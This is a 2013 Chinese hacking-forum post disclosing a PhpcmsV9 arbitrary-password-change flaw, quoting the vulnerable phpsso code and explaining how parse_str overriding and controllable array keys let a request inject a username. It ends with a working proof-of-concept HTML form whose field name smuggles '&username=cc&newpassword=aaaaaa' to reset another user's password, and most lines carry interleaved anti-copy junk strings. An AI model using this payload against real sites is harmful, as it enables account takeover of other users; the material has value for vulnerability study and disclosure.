找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1956|回复: 0
打印 上一主题 下一主题

PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 14:46:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
提到的通行证的代码:
' v  I2 P3 U: f% X. O. O# |4 p3 S
  `4 i) b; B2 P1 C  y+ d; G2 L5 e9 {5 q$ v5 m8 o
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
) {; M1 k, e. G2 s
0 L* R" e4 h& |/ [% \9 d; \$ y, _' i! x在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。
" }: m/ H& d3 ]' a! Y
# S4 }/ j9 g; ?# j& A6 G我把它留给了你们。
+ O" U- ^$ h% y) V5 J+ }; [不知道你们发现了它没有。- |) `' A$ y: Z: R+ a- J, `- r
3 n4 b* P  K8 j7 U3 L4 e0 ^2 }' ]
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。( B0 F1 T3 ]) S7 n5 E) m6 V, k
+ P# F6 C; R- k8 c
所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
( d# s% I4 w& p4 M2 \( D& K: w( b7 W" q1 V& m  [7 y# P
也就是
& [! Q& f" u: m( p9 A1 O" l; z
2 p) m% [( n) Susername=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
1 t( H7 P0 Q. J. A; {
% E! {' @' r0 ?要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。/ r$ E( N7 e4 }
# ^" v  _% v- J) E. b2 X6 r6 \. l

) E* k: R; ?, \' L7 D: g2 ]其实我们有这样的机会,看看代码,如下:
1 M% `" V  {3 g6 x3 l
8 c2 R# T# |. C6 g4 X( t' q9 M, g) R8 ~+ ?: e4 p9 K
public function auth_data($data) {" W  r* G8 a* f$ [1 N& |( h
                $s = $sep = '';
: F5 C( ]1 S1 f2 x- x, _  w7 s" I                foreach($data as $k => $v) {! e3 N% }. t  f3 ^
                        if(is_array($v)) {
, p" T* Y) `7 ]; L6 m0 z+ z6 m                                $s2 = $sep2 = '';9 W' `, f1 j* t. ?: w9 ~9 L
                                foreach($v as $k2 => $v2) {  r* T( t( e' K; V; o7 Y  k6 e; \
                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);7 b) `8 J. C7 N" e* i
                                        $sep2 = '&';
5 e2 i9 ^# h; U                                }
9 I  V8 k% k# p- D/ ]                                $s .= $sep.$s2;: s4 G9 y$ B& l$ N6 g  ~
                        } else {5 B% W- x8 U9 e& ]
                                $s .= "$sep$k=".$this->_ps_stripslashes($v);
2 _: Z" G" t3 N0 D1 X8 i" c$ P                        }9 b9 U; B. K* P# [( L9 S
                        $sep = '&';2 U7 X5 C( k$ y! X- W
                }
3 |1 Y) o% u, f* C! w
/ B2 V' S' M* H! ^) A: A5 a                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
2 t( r: i; d9 C& l. r# S7 S3 y8 T7 d; O                return $auth_s;
5 u. L( {$ H, L6 ]* ?  W        }
( G% w' w: x/ P/ }0 k1 M9 b) N
. L0 I0 n8 z$ G* |& v- _可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。' g+ u5 y) v! H/ |  j2 d
. F, ?& H. ]( \5 Z5 @: F6 g7 X- F
举个例子5 i$ c) C5 z# i/ w; n+ H

4 {) y, L/ G$ o% u$a[aaa=a&bbb] = 'a';  }3 I1 u( T6 r$ V' y" @$ D
( A% M# V0 A! x+ o/ f( F
会变成aaa=a&bbb=a
5 z+ b! w  y  ^6 l. A8 e1 D. i# d/ T! G; _0 G
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。
+ ~0 X4 ^# D- t1 {) A, e8 d% @# ?# r6 B
这个时候,我们可以再去看一个函数。1 X9 w! x2 H) E/ R; a; O; ?* H# H
' H7 T+ {' L6 V9 y+ ^  G4 D; r  U
就在这个文件内:
/ k( G1 q' o; I3 X
' Z% f+ d, B- q% K# e: E% S' Y" q9 p. `& U2 C7 X  P. h& _
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {+ c. r4 G1 d8 `! r) @
                if($email && !$this->_is_email($email)) {
: e2 ^5 A/ l6 N! L3 H6 H7 G                        return -4;
) B, C; S8 Z. D/ E. q9 @                }
( }& l7 w0 h1 _                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));1 w4 y; o; @; d+ q& c4 h  {8 y  N
        }
8 V" n  x/ I6 V) |1 T' V
3 ~9 A1 D: A& E: X3 A- t: v这是向通行证发了这样一个请求。3 P% L$ t: \, \9 @. B

' g& B& i6 a7 }我们再跟到通信证代码里去看看,就会有所发现。
0 m) d$ @% R& Y: Z5 l7 _5 t' a: e# n9 a. ?( L/ f! n
& `$ G) ]+ u3 ?* D" o% {
public function edit() {
+ ^( y% O" Y  [8 i) u$ z9 u, v//能省就省,太长了不是吗?7 [/ U3 }+ A. }& L% ^9 W. h
! X8 n! S; ]+ S# I
if($this->username) {
/ @0 F2 w( _/ L! E' M//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
! k! O) C" T. V0 _                                $res = $this->db->update($data, array('username'=>$this->username));8 e' R! g: i) ~- r
                        } else {7 n* a% T& [, O
                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);
: D! Z+ E7 d* C- R. D. a                                $res = $this->db->update($data, array('uid'=>$this->uid));
! E) j5 U- K2 i0 x" W& f! A                        }
4 K7 [) c6 d( H( ?: y+ F9 D* w3 e( t+ R$ r& _
好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:
- D" x% W: K( g/ R  ]/ `
. I2 w, A9 W7 g7 Qpublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')% X' }4 q" }& N7 e- I4 v4 k8 K" E8 m

  g# r' Z6 G; d( y很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。
+ t2 _, v5 n9 M/ T9 q
6 [0 i& m+ w5 h8 h/ k8 S" D# N我当然找到了:
' j0 K* d0 E7 V+ g# p1 B7 H; ^9 F! H$ Yphpcms9/phpcms/modules/member/index.php% @: k: N) s" i* W9 O

& ?$ Q1 V: z7 u6 k* F# s+ S: N$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
+ j' {8 z/ ^% J# p) E9 K1 I6 C/ T2 R( v
然后就没有然后了。
8 o+ U8 [$ R: v6 y5 v
# W7 X5 X, r3 O1 x" U<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">' E, V9 z  x, a! q9 _5 {3 `2 x
                                <table width="100%" cellspacing="0" class="table_form">
5 }9 f9 i8 V2 X7 O' E: t1 I$ A                                        <tr>0 S- Q: X% ^( J7 B8 {1 ~: }
                                                <th width="80">邮箱:</th>        
! x) B! u" V( d7 K                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>/ I* q) Y' S# a9 W5 D5 Y& ?6 s
                                        </tr>
" ^& L. Q5 ]3 G; s! w                                        <tr>* q$ ]% z7 r; l# B4 b6 i0 S
                                                <th width="80">原密码:</th>        7 u% _. }' y8 ~9 B
                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>0 {# q4 M) J; j) @3 I$ `" v  ]4 |
                                        </tr>- Z8 x! H( S- y0 z3 M; h
                                        <tr>
1 P, z: Y3 `+ b0 o                                                <th>新密码:</th>
% v/ Z+ }& ^$ w5 I  o1 @  l6 g5 g                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
! P8 [4 `1 A* [' w; Z0 Z  G- E4 y                                        </tr>
" q7 W7 _  j, n2 V" w6 v                                        <th></th>
4 `, c5 v: q- F1 P$ E  @+ |                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>$ n- {$ i; u, @! W/ |  I3 l
                                        </tr>3 E6 f3 [& H$ R- e5 _/ {6 [$ m  `
                                </table>9 G) b/ A( Y' P
* K, p% o6 X! d1 W1 J0 O6 z* b+ V
                                - d8 x: L! \( L) ~3 o6 j7 m
                        </form>
% i% o( S0 p- o& m! s
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表